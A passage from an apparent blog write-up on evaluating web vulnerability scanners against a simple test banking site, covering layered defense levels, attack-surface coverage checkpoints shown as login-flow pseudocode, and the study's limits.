Level 3: Hiding the MySQL errors, we will now have Blind SQL Injections.
Level 4: Restricted user management.
Level 5: Using prepared statements.

Since the level of defenses will be use in combination, the order is important. (combination: level 2 = level 2(level 1(level 0))). So, using these level of defenses we are able to select the difficulty that the tool will have to break the vulnerabilities. For the results, if you are looking at the slides, in the detection rate slide, you'll see that there is not result for the level 2 which means that no tools were able to find vulnerabilities in the level of defense 2.

Attack Surface Coverage

Another point I have been working on is the attack surface coverage. A webapps scanner is not a simple piece of software which launches attacks! The crawling/parsing step is actually really important maybe the most important since it will try to understand the application. The attack surface of the test application is the places where the user has a direct interaction, means no algorithms etc. just inputs handling, error messages etc.

Here is an example of attack surface coverage check points (with numbers) for a login function:

(1) Touch the file [login.php]
if ( all fields are set ) then
	(2) All fields are set [login.php]
	Boolean goodCredentials = checkThisUser(fields)
	if ( goodCredentials ) then
		(3) Credentials are correct; the User is now log in [login.php]
		registerCurrentUser()
	else
		if ( available login test > 0 ) then
			(4) Login information incorrect [login.php]
			displayErrorLogin()
			available login test -= 1
		else
			(5) Too much try with wrong credential [login.php]
			displayErrorLogin()
			askUserToSolveCAPTCHA()
		endif
	endif
endif

Basically, we would like the scanner to use the normal behavior paths and also the abnormals (errors etc.) in order to find vulnerabilities there such as Information Leakage etc. Just a note about the attack surface coverage rate: this number cannot be interpreted alone. You need to use this with the detection rate and the false positive rate. In the slides you can see that the tool A as a 25% attack surface coverage of the application, but this is also the tool with best findings and no false positive. This means that the tool were able to find 33% of vulnerabilities (best results from all the 4 scanner we tested) in 25% of the application which can be considered as accurate compared to the others.

The attack surface coverage may have an important impact, depending on what type of testing you are doing with your webapps scanner. If you want a tool to run at the end, doing a full assessement, then you will need a tool which as a very good coverage (since you only rely on that). But if you are looking for a tool which is fully integrated in your testing process (testing == quality and security) then, I think it's better to have an accurate tool which will cover a lower surface, but the tool will cover the important points.

Conclusions

This is actually hard to make a real strong conclusion about the results given in the slides. The test application is a real simple website (banking application) and is far from a real company website; this is a huge confounding factor. Another problem is that I did the evaluation one vulnerability at the time (and one level of defense at the time). This prevent a couple of real life behaviors...